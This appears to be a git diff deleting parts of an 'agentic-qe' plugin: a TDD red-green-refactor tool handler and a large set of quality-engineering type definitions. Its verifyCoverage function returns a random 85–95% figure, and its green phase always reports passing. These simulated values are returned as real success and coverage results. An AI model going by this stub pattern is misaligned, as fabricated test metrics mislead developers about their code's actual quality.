- currentCoverage < validatedInput.coverageTarget
- ) {
- cycleNumber++;
- const cycleStartTime = Date.now();
-
- // RED phase: Write failing test
- const redPhaseResult = await executeRedPhase(
- testDesign,
- cycleNumber,
- validatedInput.framework,
- agentContributions.get('red-phase-executor')!
- );
-
- // GREEN phase: Implement to pass
- const greenPhaseResult = await executeGreenPhase(
- redPhaseResult.test,
- validatedInput.targetPath,
- agentContributions.get('green-phase-implementer')!,
- sandbox
- );
-
- // Verify coverage
- currentCoverage = await verifyCoverage(
- validatedInput.targetPath,
- agentContributions.get('coverage-verifier')!
- );
-
- // REFACTOR phase (unless stopOnGreen)
- let refactorings: RefactoringSuggestion[] = [];
- if (!validatedInput.stopOnGreen && greenPhaseResult.passed) {
- refactorings = await executeRefactorPhase(
- validatedInput.targetPath,
- validatedInput.autoRefactor,
- agentContributions.get('refactor-advisor')!
- );
- }
-
- // Record cycle result
- cycles.push({
- cycleNumber,
- phase: greenPhaseResult.passed ? 'complete' : 'green',
- test: redPhaseResult.test,
- implementation: greenPhaseResult.code,
- refactoring: refactorings,
- passed: greenPhaseResult.passed,
- coverage: currentCoverage,
- durationMs: Date.now() - cycleStartTime,
- });
-
- // Update cycle coordinator
- const coordinator = agentContributions.get('cycle-coordinator')!;
- coordinator.tasksCompleted++;
- coordinator.contributions.push(`Completed cycle ${cycleNumber} - coverage: ${currentCoverage}%`);
- }
-
- // Build final result
- const result: TDDCycleOutput = {
- success: currentCoverage >= validatedInput.coverageTarget,
- cycles,
- finalCoverage: currentCoverage,
- totalCycles: cycleNumber,
- implementation: {
- filesCreated: [`${validatedInput.targetPath}/__tests__/*.test.ts`],
- filesModified: [validatedInput.targetPath],
- linesOfCode: cycles.reduce((sum, c) => sum + (c.implementation?.split('\n').length || 0), 0),
- testCount: cycles.filter((c) => c.test).length,
- coverage: currentCoverage,
- },
- agents: Array.from(agentContributions.values()),
- metadata: {
- startedAt,
- completedAt: new Date().toISOString(),
- totalDurationMs: Date.now() - startTime,
- style: validatedInput.style,
- framework: validatedInput.framework,
- requirement: validatedInput.requirement,
- },
- };
-
- return {
- content: [
- {
- type: 'text',
- text: JSON.stringify(result, null, 2),
- },
- ],
- };
- } catch (error) {
- const errorMessage = error instanceof Error ? error.message : 'Unknown error';
- return {
- content: [
- {
- type: 'text',
- text: JSON.stringify(
- {
- success: false,
- error: errorMessage,
- cycles: [],
- finalCoverage: 0,
- totalCycles: 0,
- metadata: {
- startedAt,
- completedAt: new Date().toISOString(),
- totalDurationMs: Date.now() - startTime,
- },
- },
- null,
- 2
- ),
- },
- ],
- };
- }
-}
-
-// Subagent task implementations
-
-interface RequirementAnalysis {
- components: string[];
- behaviors: string[];
- edgeCases: string[];
- dependencies: string[];
-}
-
-async function analyzeRequirement(
- requirement: string,
- agent: AgentContribution
-): Promise<RequirementAnalysis> {
- agent.tasksCompleted++;
- agent.contributions.push(`Analyzed requirement: ${requirement.substring(0, 50)}...`);
-
- // Extract key components from requirement
- const words = requirement.toLowerCase().split(/\s+/);
- const components = extractComponents(words);
- const behaviors = extractBehaviors(requirement);
- const edgeCases = extractEdgeCases(requirement);
-
- return {
- components,
- behaviors,
- edgeCases,
- dependencies: [],
- };
-}
-
-interface TestDesign {
- tests: Array<{
- name: string;
- description: string;
- behavior: string;
- priority: number;
- }>;
- approach: 'outside-in' | 'inside-out';
-}
-
-async function designTests(
- analysis: RequirementAnalysis,
- style: 'london' | 'chicago',
- agent: AgentContribution
-): Promise<TestDesign> {
- agent.tasksCompleted++;
- agent.contributions.push(`Designed ${analysis.behaviors.length} test cases using ${style} style`);
-
- const tests = analysis.behaviors.map((behavior, index) => ({
- name: `should ${behavior}`,
- description: `Test that the system ${behavior}`,
- behavior,
- priority: index + 1,
- }));
-
- // Add edge case tests
- analysis.edgeCases.forEach((edgeCase, index) => {
- tests.push({
- name: `should handle ${edgeCase}`,
- description: `Edge case: ${edgeCase}`,
- behavior: edgeCase,
- priority: analysis.behaviors.length + index + 1,
- });
- });
-
- return {
- tests,
- approach: style === 'london' ? 'outside-in' : 'inside-out',
- };
-}
-
-interface RedPhaseResult {
- test: TestCase;
- failing: boolean;
-}
-
-async function executeRedPhase(
- design: TestDesign,
- cycleNumber: number,
- framework: string,
- agent: AgentContribution
-): Promise<RedPhaseResult> {
- agent.tasksCompleted++;
-
- const testIndex = Math.min(cycleNumber - 1, design.tests.length - 1);
- const testSpec = design.tests[testIndex];
-
- const test: TestCase = {
- name: testSpec.name,
- description: testSpec.description,
- code: generateFailingTest(testSpec.name, framework),
- assertions: [`expect(result).toBeDefined()`, `expect(result).toEqual(expected)`],
- };
-
- agent.contributions.push(`Created failing test: ${test.name}`);
-
- return {
- test,
- failing: true,
- };
-}
-
-interface GreenPhaseResult {
- code: string;
- passed: boolean;
-}
-
-async function executeGreenPhase(
- test: TestCase,
- targetPath: string,
- agent: AgentContribution,
- sandbox?: { execute: <T>(fn: () => Promise<T>) => Promise<T> }
-): Promise<GreenPhaseResult> {
- agent.tasksCompleted++;
-
- // Generate minimal implementation to pass the test
- const implementation = generateMinimalImplementation(test);
-
- agent.contributions.push(`Implemented code to pass: ${test.name}`);
-
- // Execute in sandbox if available
- if (sandbox) {
- try {
- await sandbox.execute(async () => {
- // Simulated test execution
- return true;
- });
- } catch {
- return { code: implementation, passed: false };
- }
- }
-
- return {
- code: implementation,
- passed: true,
- };
-}
-
-async function verifyCoverage(targetPath: string, agent: AgentContribution): Promise<number> {
- agent.tasksCompleted++;
-
- // Simulated coverage calculation
- const coverage = Math.min(85 + Math.random() * 10, 95);
- agent.contributions.push(`Verified coverage: ${coverage.toFixed(1)}%`);
-
- return coverage;
-}
-
-async function executeRefactorPhase(
- targetPath: string,
- autoApply: boolean,
- agent: AgentContribution
-): Promise<RefactoringSuggestion[]> {
- agent.tasksCompleted++;
-
- const suggestions: RefactoringSuggestion[] = [
- {
- type: 'extract-method',
- description: 'Extract validation logic to separate method',
- location: `${targetPath}:15-25`,
- applied: autoApply,
- },
- {
- type: 'simplify',
- description: 'Simplify conditional logic',
- location: `${targetPath}:30-35`,
- applied: autoApply,
- },
- ];
-
- agent.contributions.push(
- `Suggested ${suggestions.length} refactorings, ${autoApply ? 'auto-applied' : 'pending review'}`
- );
-
- return suggestions;
-}
-
-// Helper functions
-
-function extractComponents(words: string[]): string[] {
- const componentKeywords = ['service', 'handler', 'controller', 'model', 'repository', 'validator'];
- return words.filter((w) => componentKeywords.some((k) => w.includes(k)));
-}
-
-function extractBehaviors(requirement: string): string[] {
- const behaviors: string[] = [];
- const shouldMatch = requirement.match(/should\s+([^,.]+)/gi);
- if (shouldMatch) {
- behaviors.push(...shouldMatch.map((m) => m.replace(/^should\s+/i, '')));
- }
-
- // Extract verb phrases
- const verbs = ['create', 'update', 'delete', 'validate', 'process', 'handle', 'return'];
- verbs.forEach((verb) => {
- if (requirement.toLowerCase().includes(verb)) {
- behaviors.push(`${verb} correctly`);
- }
- });
-
- return behaviors.length > 0 ? behaviors : ['process input correctly'];
-}
-
-function extractEdgeCases(requirement: string): string[] {
- const edgeCases: string[] = [];
-
- if (requirement.includes('input') || requirement.includes('data')) {
- edgeCases.push('null input', 'empty input', 'invalid input');
- }
-
- if (requirement.includes('error') || requirement.includes('fail')) {
- edgeCases.push('error conditions');
- }
-
- return edgeCases;
-}
-
-function generateFailingTest(testName: string, framework: string): string {
- const testTemplates: Record<string, string> = {
- vitest: `import { describe, it, expect } from 'vitest';
-import { systemUnderTest } from './index';
-
-describe('${testName}', () => {
- it('${testName}', () => {
- // Arrange
- const input = { /* test data */ };
-
- // Act
- const result = systemUnderTest(input);
-
- // Assert (will fail until implemented)
- expect(result).toBeDefined();
- expect(result.success).toBe(true);
- });
-});`,
- jest: `describe('${testName}', () => {
- it('${testName}', () => {
- // Arrange
- const input = { /* test data */ };
-
- // Act
- const result = systemUnderTest(input);
-
- // Assert (will fail until implemented)
- expect(result).toBeDefined();
- expect(result.success).toBe(true);
- });
-});`,
- };
-
- return testTemplates[framework] || testTemplates.vitest;
-}
-
-function generateMinimalImplementation(test: TestCase): string {
- return `// Minimal implementation to pass: ${test.name}
-export function systemUnderTest(input: unknown): { success: boolean } {
- // TODO: Implement actual logic
- if (!input) {
- throw new Error('Input required');
- }
- return { success: true };
-}`;
-}
-
-// Export tool definition for MCP registration
-export const toolDefinition = {
- name: 'aqe/tdd-cycle',
- description: 'Execute TDD red-green-refactor cycle with 7 specialized subagents',
- category: 'test-generation',
- version: '3.2.3',
- inputSchema: TDDCycleInputSchema,
- handler,
-};
-
-export default toolDefinition;
diff --git a/v3/plugins/agentic-qe/src/types.ts b/v3/plugins/agentic-qe/src/types.ts
deleted file mode 100644
index 020391a736..0000000000
--- a/v3/plugins/agentic-qe/src/types.ts
+++ /dev/null
@@ -1,1205 +0,0 @@
-/**
- * Agentic-QE Plugin Types
- * TypeScript type definitions for all QE domain objects
- *
- * @module v3/plugins/agentic-qe/types
- * @version 3.2.3
- */
-
-// =============================================================================
-// Core QE Types
-// =============================================================================
-
-/**
- * Test types supported by the QE system
- */
-export type TestType =
- | 'unit'
- | 'integration'
- | 'e2e'
- | 'property'
- | 'mutation'
- | 'fuzz'
- | 'api'
- | 'performance'
- | 'security'
- | 'accessibility'
- | 'contract'
- | 'bdd';
-
-/**
- * TDD style for test generation
- */
-export type TDDStyle = 'london' | 'chicago';
-
-/**
- * Test framework identifiers
- */
-export type TestFramework =
- | 'vitest'
- | 'jest'
- | 'mocha'
- | 'pytest'
- | 'junit'
- | 'xunit'
- | 'nunit'
- | 'playwright'
- | 'cypress';
-
-/**
- * Security level classification
- */
-export type SecurityLevel = 'low' | 'medium' | 'high' | 'critical';
-
-/**
- * Model tier for routing (TinyDancer alignment with ADR-026)
- */
-export type ModelTier = 'agent-booster' | 'haiku' | 'sonnet' | 'opus';
-
-/**
- * Contract types for API validation
- */
-export type ContractType = 'openapi' | 'graphql' | 'grpc' | 'asyncapi';
-
-/**
- * Chaos failure types for resilience testing
- */
-export type ChaosFailureType =
- | 'network-latency'
- | 'network-partition'
- | 'cpu-stress'
- | 'memory-pressure'
- | 'disk-failure'
- | 'process-kill';
-
-/**
- * Compliance standards for security audits
- */
-export type ComplianceStandard =
- | 'owasp-top-10'
- | 'sans-25'
- | 'pci-dss'
- | 'hipaa'
- | 'gdpr'
- | 'soc2';
-
-/**
- * Scan types for security analysis
- */
-export type SecurityScanType = 'sast' | 'dast' | 'both';
-
-/**
- * Severity levels for findings
- */
-export type Severity = 'critical' | 'high' | 'medium' | 'low' | 'info';
-
-/**
- * Quality gate operators
- */
-export type QualityGateOperator = '>' | '<' | '>=' | '<=' | '==';
-
-/**
- * Coverage gap types
- */
-export type CoverageGapType =
- | 'uncovered-lines'
- | 'uncovered-branches'
- | 'uncovered-functions'
- | 'low-branch-coverage'
- | 'missing-edge-cases';
-
-/**
- * Coverage analysis algorithms
- */
-export type CoverageAlgorithm = 'johnson-lindenstrauss' | 'full-scan';
-
-// =============================================================================
-// Bounded Context Types
-// =============================================================================
-
-/**
- * The 12 DDD bounded contexts in agentic-qe
- */
-export type BoundedContext =
- | 'test-generation'
- | 'test-execution'
- | 'coverage-analysis'
- | 'quality-assessment'
- | 'defect-intelligence'
- | 'requirements-validation'
- | 'code-intelligence'
- | 'security-compliance'
- | 'contract-testing'
- | 'visual-accessibility'
- | 'chaos-resilience'
- | 'learning-optimization';
-
-/**
- * V3 Domain mapping for context integration
- */
-export type V3Domain =
- | 'Security'
- | 'Core'
- | 'Memory'
- | 'Integration'
- | 'Coordination';
-
-// =============================================================================
-// Test Generation Types
-// =============================================================================
-
-/**
- * Request to generate tests for code
- */
-export interface TestGenerationRequest {
- /** Path to file or directory to test */
- targetPath: string;
- /** Type of tests to generate */
- testType: TestType;
- /** Test framework to use */
- framework?: TestFramework;
- /** Coverage configuration */
- coverage?: CoverageConfig;
- /** TDD style preference */
- style?: TDDStyle;
- /** Additional context for test generation */
- context?: string;
- /** Language of the source code */
- language?: string;
- /** Maximum tests to generate */
- maxTests?: number;
-}
-
-/**
- * Coverage configuration for test generation
- */
-export interface CoverageConfig {
- /** Target coverage percentage */
- target: number;
- /** Focus on coverage gaps */
- focusGaps: boolean;
- /** Include branch coverage */
- includeBranches?: boolean;
- /** Include function coverage */
- includeFunctions?: boolean;
-}
-
-/**
- * Result of test generation
- */
-export interface TestGenerationResult {
- /** Generated test file paths */
- testFiles: GeneratedTestFile[];
- /** Test statistics */
- stats: TestGenerationStats;
- /** Patterns learned during generation */
- learnedPatterns?: TestPattern[];
- /** Suggestions for improvement */
- suggestions?: string[];
-}
-
-/**
- * A generated test file
- */
-export interface GeneratedTestFile {
- /** Path to the generated test file */
- path: string;
- /** Content of the test file */
- content: string;
- /** Number of test cases */
- testCount: number;
- /** Target file being tested */
- targetFile: string;
- /** Test type */
- testType: TestType;
- /** Framework used */
- framework: TestFramework;
-}
-
-/**
- * Statistics for test generation
- */
-export interface TestGenerationStats {
- /** Total tests generated */
- totalTests: number;
- /** Files processed */
- filesProcessed: number;
- /** Estimated coverage increase */
- estimatedCoverageIncrease: number;
- /** Generation duration in ms */
- duration: number;
- /** Model tier used */
- modelTier: ModelTier;
-}
-
-/**
- * A learned test pattern for ReasoningBank
- */
-export interface TestPattern {
- /** Unique pattern identifier */
- id: string;
- /** Pattern type/category */
- type: string;
- /** Pattern description */
- description: string;
- /** Programming language */
- language: string;
- /** Test framework */
- framework: TestFramework;
- /** Pattern effectiveness score (0-1) */
- effectiveness: number;
- /** Number of times pattern was used */
- usageCount: number;
- /** Pattern template */
- template?: string;
- /** Tags for categorization */
- tags: string[];
-}
-
-// =============================================================================
-// TDD Cycle Types
-// =============================================================================
-
-/**
- * Request to execute a TDD cycle
- */
-export interface TDDCycleRequest {
- /** Requirement or user story to implement */
- requirement: string;
- /** Path to implement in */
- targetPath: string;
- /** TDD style (London or Chicago) */
- style: TDDStyle;
- /** Maximum cycles to execute */
- maxCycles: number;
- /** Test framework to use */
- framework?: TestFramework;
-}
-
-/**
- * Result of a TDD cycle execution
- */
-export interface TDDCycleResult {
- /** Number of cycles completed */
- cyclesCompleted: number;
- /** Final test results */
- testResults: TestExecutionResult;
- /** Implementation generated */
- implementation: ImplementationArtifact;
- /** Coverage achieved */
- coverage: CoverageReport;
- /** Refactoring suggestions */
- refactoringSuggestions?: RefactoringSuggestion[];
-}
-
-/**
- * A single TDD cycle step
- */
-export interface TDDCycleStep {
- /** Cycle number */
- cycle: number;
- /** Phase: red, green, or refactor */
- phase: 'red' | 'green' | 'refactor';
- /** Step description */
- description: string;
- /** Duration in ms */
- duration: number;
- /** Success status */
- success: boolean;
- /** Agent that executed the step */
- agent: string;
- /** Artifacts produced */
- artifacts: string[];
-}
-
-/**
- * Implementation artifact from TDD cycle
- */
-export interface ImplementationArtifact {
- /** File path */
- path: string;
- /** File content */
- content: string;
- /** Lines of code */
- linesOfCode: number;
- /** Complexity score */
- complexity: number;
-}
-
-/**
- * Refactoring suggestion from TDD cycle
- */
-export interface RefactoringSuggestion {
- /** Type of refactoring */
- type: string;
- /** Description */
- description: string;
- /** File path */
- filePath: string;
- /** Line range */
- lineRange: [number, number];
- /** Priority */
- priority: 'high' | 'medium' | 'low';
-}
-
-// =============================================================================
-// Coverage Analysis Types
-// =============================================================================
-
-/**
- * Request to analyze coverage
- */
-export interface CoverageAnalysisRequest {
- /** Path to coverage report (lcov/json) */
- coverageReport?: string;
- /** Target path to analyze */
- targetPath: string;
- /** Algorithm to use */
- algorithm: CoverageAlgorithm;
- /** Prioritize gaps by risk */
- prioritize: boolean;
-}
-
-/**
- * Coverage report from analysis
- */
-export interface CoverageReport {
- /** Overall coverage metrics */
- overall: CoverageMetrics;
- /** Per-file coverage */
- files: FileCoverage[];
- /** Detected coverage gaps */
- gaps: CoverageGap[];
- /** Trends over time */
- trends?: CoverageTrend[];
- /** Analysis timestamp */
- timestamp: number;
-}
-
-/**
- * Coverage metrics
- */
-export interface CoverageMetrics {
- /** Line coverage percentage */
- lines: number;
- /** Branch coverage percentage */
- branches: number;
- /** Function coverage percentage */
- functions: number;
- /** Statement coverage percentage */
- statements: number;
- /** Total lines */
- totalLines: number;
- /** Covered lines */
- coveredLines: number;
-}
-
-/**
- * Coverage for a single file
- */
-export interface FileCoverage {
- /** File path */
- path: string;
- /** Coverage metrics */
- metrics: CoverageMetrics;
- /** Uncovered line numbers */
- uncoveredLines: number[];
- /** Uncovered branches */
- uncoveredBranches: BranchInfo[];
- /** Complexity score */
- complexity: number;
-}
-
-/**
- * Branch information for coverage
- */
-export interface BranchInfo {
- /** Line number */
- line: number;
- /** Branch index */
- branchIndex: number;
- /** Branch type */
- type: 'if' | 'else' | 'switch' | 'ternary' | 'loop';
- /** Whether branch is covered */
- covered: boolean;
-}
-
-/**
- * A coverage gap with priority
- */
-export interface CoverageGap {
- /** Gap identifier */
- id: string;
- /** Gap type */
- type: CoverageGapType;
- /** File path */
- filePath: string;
- /** Line range */
- lineRange: [number, number];
- /** Priority score (0-1) */
- priority: number;
- /** Risk score (0-1) */
- risk: number;
- /** Suggested test type */
- suggestedTestType: TestType;
- /** Description */
- description: string;
-}
-
-/**
- * Coverage trend over time
- */
-export interface CoverageTrend {
- /** Timestamp */
- timestamp: number;
- /** Coverage at this point */
- coverage: number;
- /** Change from previous */
- change: number;
- /** Commit hash if available */
- commitHash?: string;
-}
-
-// =============================================================================
-// Quality Assessment Types
-// =============================================================================
-
-/**
- * Quality gate definition
- */
-export interface QualityGate {
- /** Gate identifier */
- id: string;
- /** Gate name */
- name: string;
- /** Metric to evaluate */
- metric: string;
- /** Operator for comparison */
- operator: QualityGateOperator;
- /** Threshold value */
- threshold: number;
- /** Is gate blocking */
- blocking: boolean;
- /** Description */
- description?: string;
-}
-
-/**
- * Request to evaluate quality gates
- */
-export interface QualityGateRequest {
- /** Custom gate definitions */
- gates?: QualityGate[];
- /** Preset defaults to use */
- defaults?: 'strict' | 'standard' | 'minimal';
- /** Project path */
- projectPath?: string;
-}
-
-/**
- * Result of quality gate evaluation
- */
-export interface QualityGateResult {
- /** Overall pass/fail */
- passed: boolean;
- /** Individual gate results */
- gateResults: GateEvaluationResult[];
- /** Overall quality score (0-100) */
- qualityScore: number;
- /** Release readiness assessment */
- readiness: ReadinessAssessment;
- /** Recommendations */
- recommendations: string[];
-}
-
-/**
- * Single gate evaluation result
- */
-export interface GateEvaluationResult {
- /** Gate that was evaluated */
- gate: QualityGate;
- /** Actual value measured */
- actualValue: number;
- /** Pass/fail status */
- passed: boolean;
- /** Margin from threshold */
- margin: number;
-}
-
-/**
- * Release readiness assessment
- */
-export interface ReadinessAssessment {
- /** Ready for release */
- ready: boolean;
- /** Confidence score (0-1) */
- confidence: number;
- /** Blocking issues */
- blockers: string[];
- /** Warnings */
- warnings: string[];
- /** Suggested actions */
- suggestedActions: string[];
-}
-
-// =============================================================================
-// Defect Intelligence Types
-// =============================================================================
-
-/**
- * Request to predict defects
- */
-export interface DefectPredictionRequest {
- /** Target path to analyze */
- targetPath: string;
- /** Analysis depth */
- depth: 'shallow' | 'medium' | 'deep';
- /** Include root cause analysis */
- includeRootCause: boolean;
-}
-
-/**
- * Defect prediction result
- */
-export interface DefectPredictionResult {
- /** Predicted defects */
- predictions: DefectPrediction[];
- /** Risk hotspots */
- hotspots: DefectHotspot[];
- /** Overall risk score (0-1) */
- overallRisk: number;
- /** Analysis confidence */
- confidence: number;
-}
-
-/**
- * A predicted defect
- */
-export interface DefectPrediction {
- /** Defect identifier */
- id: string;
- /** Defect type/category */
- type: string;
- /** Predicted severity */
- severity: Severity;
- /** File path */
- filePath: string;
- /** Line range */
- lineRange?: [number, number];
- /** Probability of occurrence (0-1) */
- probability: number;
- /** Description */
- description: string;
- /** Root cause if analyzed */
- rootCause?: RootCauseAnalysis;
- /** Suggested fix */
- suggestedFix?: string;
-}
-
-/**
- * Defect hotspot in the codebase
- */
-export interface DefectHotspot {
- /** File path */
- filePath: string;
- /** Risk score (0-1) */
- riskScore: number;
- /** Change frequency */
- changeFrequency: number;
- /** Historical defect count */
- historicalDefects: number;
- /** Complexity score */
- complexity: number;
-}
-
-/**
- * Root cause analysis result
- */
-export interface RootCauseAnalysis {
- /** Primary cause */
- primaryCause: string;
- /** Contributing factors */
- contributingFactors: string[];
- /** Similar past defects */
- similarDefects: string[];
- /** Confidence (0-1) */
- confidence: number;
-}
-
-// =============================================================================
-// Security Compliance Types
-// =============================================================================
-
-/**
- * Request for security scan
- */
-export interface SecurityScanRequest {
- /** Target path to scan */
- targetPath: string;
- /** Scan type */
- scanType: SecurityScanType;
- /** Compliance standards to check */
- compliance: ComplianceStandard[];
- /** Severity filter */
- severityFilter: 'all' | Severity;
-}
-
-/**
- * Security scan result
- */
-export interface SecurityScanResult {
- /** Scan identifier */
- scanId: string;
- /** Findings */
- findings: SecurityFinding[];
- /** Compliance status */
- complianceStatus: ComplianceStatus[];
- /** Summary statistics */
- summary: SecuritySummary;
- /** Scan timestamp */
- timestamp: number;
-}
-
-/**
- * A security finding
- */
-export interface SecurityFinding {
- /** Finding identifier */
- id: string;
- /** Finding type */
- type: string;
- /** Severity */
- severity: Severity;
- /** CWE identifier */
- cweId?: string;
- /** CVE identifier */
- cveId?: string;
- /** File path */
- filePath: string;
- /** Line number */
- lineNumber?: number;
- /** Description */
- description: string;
- /** Remediation guidance */
- remediation: string;
- /** Code snippet */
- codeSnippet?: string;
-}
-
-/**
- * Compliance status for a standard
- */
-export interface ComplianceStatus {
- /** Compliance standard */
- standard: ComplianceStandard;
- /** Compliance percentage (0-100) */
- compliance: number;
- /** Passing checks */
- passingChecks: number;
- /** Total checks */
- totalChecks: number;
- /** Failed checks */
- failedChecks: ComplianceCheck[];
-}
-
-/**
- * A compliance check
- */
-export interface ComplianceCheck {
- /** Check identifier */
- id: string;
- /** Check name */
- name: string;
- /** Description */
- description: string;
- /** Status */
- status: 'pass' | 'fail' | 'warning' | 'not-applicable';
- /** Related findings */
- relatedFindings: string[];
-}
-
-/**
- * Security scan summary
- */
-export interface SecuritySummary {
- /** Total findings */
- totalFindings: number;
- /** Findings by severity */
- bySeverity: Record<Severity, number>;
- /** Critical issues count */
- criticalCount: number;
- /** High issues count */
- highCount: number;
- /** Medium issues count */
- mediumCount: number;
- /** Low issues count */
- lowCount: number;
-}
-
-// =============================================================================
-// Contract Testing Types
-// =============================================================================
-
-/**
- * Request to validate a contract
- */
-export interface ContractValidationRequest {
- /** Path to contract definition */
- contractPath: string;
- /** Type of contract */
- contractType: ContractType;
- /** Target URL for live validation */
- targetUrl?: string;
- /** Strict validation mode */
- strict: boolean;
-}
-
-/**
- * Contract validation result
- */
-export interface ContractValidationResult {
- /** Validation passed */
- valid: boolean;
- /** Validation errors */
- errors: ContractError[];
- /** Warnings */
- warnings: ContractWarning[];
- /** Breaking changes detected */
- breakingChanges?: BreakingChange[];
- /** Endpoints validated */
- endpointCount: number;
-}
-
-/**
- * Contract validation error
- */
-export interface ContractError {
- /** Error path in contract */
- path: string;
- /** Error message */
- message: string;
- /** Severity */
- severity: 'error' | 'warning';
- /** Suggestion for fix */
- suggestion?: string;
-}
-
-/**
- * Contract warning
- */
-export interface ContractWarning {
- /** Warning path */
- path: string;
- /** Warning message */
- message: string;
- /** Warning code */
- code: string;
-}
-
-/**
- * Breaking change detection
- */
-export interface BreakingChange {
- /** Change type */
- type: string;
- /** Endpoint affected */
- endpoint: string;
- /** Description */
- description: string;
- /** Impact level */
- impact: 'breaking' | 'potentially-breaking' | 'non-breaking';
-}
-
-// =============================================================================
-// Chaos Engineering Types
-// =============================================================================
-
-/**
- * Request to inject chaos
- */
-export interface ChaosInjectionRequest {
- /** Target service/component */
- target: string;
- /** Failure type to inject */
- failureType: ChaosFailureType;
- /** Duration in seconds */
- duration: number;
- /** Intensity (0-1) */
- intensity: number;
- /** Dry run mode */
- dryRun: boolean;
-}
-
-/**
- * Chaos injection result
- */
-export interface ChaosInjectionResult {
- /** Experiment identifier */
- experimentId: string;
- /** Experiment executed */
- executed: boolean;
- /** Start time */
- startTime: number;
- /** End time */
- endTime?: number;
- /** Observations */
- observations: ChaosObservation[];
- /** Resilience assessment */
- resilience?: ResilienceAssessment;
-}
-
-/**
- * Observation during chaos experiment
- */
-export interface ChaosObservation {
- /** Timestamp */
- timestamp: number;
- /** Observation type */
- type: 'metric' | 'event' | 'error';
- /** Service affected */
- service: string;
- /** Description */
- description: string;
- /** Value if metric */
- value?: number;
-}
-
-/**
- * Resilience assessment after chaos
- */
-export interface ResilienceAssessment {
- /** Resilience score (0-1) */
- score: number;
- /** Recovery time in ms */
- recoveryTime: number;
- /** Failure modes observed */
- failureModes: string[];
- /** Recommendations */
- recommendations: string[];
- /** Weaknesses identified */
- weaknesses: string[];
-}
-
-// =============================================================================
-// Test Execution Types
-// =============================================================================
-
-/**
- * Test execution result
- */
-export interface TestExecutionResult {
- /** Total tests run */
- total: number;
- /** Tests passed */
- passed: number;
- /** Tests failed */
- failed: number;
- /** Tests skipped */
- skipped: number;
- /** Flaky tests detected */
- flaky: number;
- /** Execution duration in ms */
- duration: number;
- /** Individual test results */
- tests: TestResult[];
- /** Coverage if collected */
- coverage?: CoverageMetrics;
-}
-
-/**
- * Individual test result
- */
-export interface TestResult {
- /** Test name */
- name: string;
- /** Test file */
- file: string;
- /** Test status */
- status: 'passed' | 'failed' | 'skipped' | 'flaky';
- /** Duration in ms */
- duration: number;
- /** Error message if failed */
- error?: string;
- /** Retry count */
- retries?: number;
-}
-
-// =============================================================================
-// Plugin Configuration Types
-// =============================================================================
-
-/**
- * Plugin configuration
- */
-export interface AQEPluginConfig {
- /** Plugin version */
- version?: string;
- /** Memory namespace prefix */
- namespacePrefix?: string;
- /** Enabled bounded contexts */
- enabledContexts?: BoundedContext[];
- /** Security sandbox config */
- sandbox?: SandboxConfig;
- /** Model routing config */
- modelRouting?: ModelRoutingConfig;
- /** Performance targets */
- performanceTargets?: QEPerformanceTargets;
-}
-
-/**
- * Security sandbox configuration
- */
-export interface SandboxConfig {
- /** Maximum execution time in ms */
- maxExecutionTime: number;
- /** Memory limit in bytes */
- memoryLimit: number;
- /** Network policy */
- networkPolicy: 'unrestricted' | 'restricted' | 'blocked';
- /** File system policy */
- fileSystemPolicy: 'full' | 'workspace-only' | 'readonly' | 'none';
- /** Allowed commands */
- allowedCommands: string[];
- /** Blocked paths */
- blockedPaths: string[];
-}
-
-/**
- * Model routing configuration
- */
-export interface ModelRoutingConfig {
- /** Enable intelligent routing */
- enabled: boolean;
- /** Prefer cost over speed */
- preferCost: boolean;
- /** Tier thresholds */
- thresholds: {
- tier1MaxComplexity: number;
- tier2MaxComplexity: number;
- };
-}
-
-/**
- * QE-specific performance targets
- */
-export interface QEPerformanceTargets {
- /** Test generation latency */
- testGenerationLatency: string;
- /** Coverage analysis complexity */
- coverageAnalysis: string;
- /** Quality gate evaluation time */
- qualityGateEvaluation: string;
- /** Security scan rate */
- securityScanPerKLOC: string;
- /** MCP tool response time */
- mcpToolResponse: string;
- /** Memory per context */
- memoryPerContext: string;
-}
-
-// =============================================================================
-// Memory Namespace Types
-// =============================================================================
-
-/**
- * HNSW configuration for vector search
- */
-export interface HNSWConfig {
- /** Number of connections per node */
- m: number;
- /** Size of dynamic candidate list for construction */
- efConstruction: number;
- /** Size of dynamic candidate list for search */
- efSearch: number;
-}
-
-/**
- * Memory namespace definition
- */
-export interface QEMemoryNamespace {
- /** Namespace name */
- name: string;
- /** Description */
- description: string;
- /** Vector dimension */
- vectorDimension: number;
- /** HNSW configuration */
- hnswConfig: HNSWConfig;
- /** Schema definition */
- schema: Record<string, SchemaField>;
- /** TTL in milliseconds (null for permanent) */
- ttl: number | null;
-}
-
-/**
- * Schema field definition
- */
-export interface SchemaField {
- /** Field type */
- type: 'string' | 'number' | 'boolean' | 'object';
- /** Whether field is indexed */
- index?: boolean;
- /** Whether field is required */
- required?: boolean;
-}
-
-// =============================================================================
-// Worker Types
-// =============================================================================
-
-/**
- * Worker type identifiers
- */
-export type QEWorkerType =
- | 'test-executor'
- | 'coverage-analyzer'
- | 'security-scanner';
-
-/**
- * Worker definition
- */
-export interface QEWorkerDefinition {
- /** Worker type */
- type: QEWorkerType;
- /** Worker capabilities */
- capabilities: string[];
- /** Maximum concurrent instances */
- maxConcurrent: number;
-}
-
-/**
- * Worker status
- */
-export interface QEWorkerStatus {
- /** Worker identifier */
- id: string;
- /** Worker type */
- type: QEWorkerType;
- /** Current status */
- status: 'idle' | 'running' | 'completed' | 'error';
- /** Current task if running */
- currentTask?: string;
- /** Progress percentage (0-100) */
- progress?: number;
- /** Start time */
- startTime?: number;
-}
-
-// =============================================================================
-// Hook Types
-// =============================================================================
-
-/**
- * Hook event type
- */
-export type QEHookEvent =
- | 'pre-test-execution'
- | 'pre-security-scan'
- | 'post-test-execution'
- | 'post-coverage-analysis'
- | 'post-security-scan';
-
-/**
- * Hook priority
- */
-export type HookPriority = 'low' | 'normal' | 'high' | 'critical';
-
-/**
- * Hook definition
- */
-export interface QEHookDefinition {
- /** Hook event */
- event: QEHookEvent;
- /** Hook description */
- description: string;
- /** Hook priority */
- priority: HookPriority;
- /** Handler function name */
- handler: string;
-}
-
-// =============================================================================
-// Agent Types
-// =============================================================================
-
-/**
- * QE agent identifier
- */
-export type QEAgentId = string;
-
-/**
- * QE agent status
- */
-export type QEAgentStatus = 'idle' | 'active' | 'blocked' | 'error';
-
-/**
- * QE agent definition
- */
-export interface QEAgentDefinition {
- /** Agent identifier */
- id: QEAgentId;
- /** Agent name */
- name: string;
- /** Bounded context */
- context: BoundedContext;
- /** Agent capabilities */
- capabilities: string[];
- /** Model tier preference */
- modelTier: ModelTier;
- /** Description */
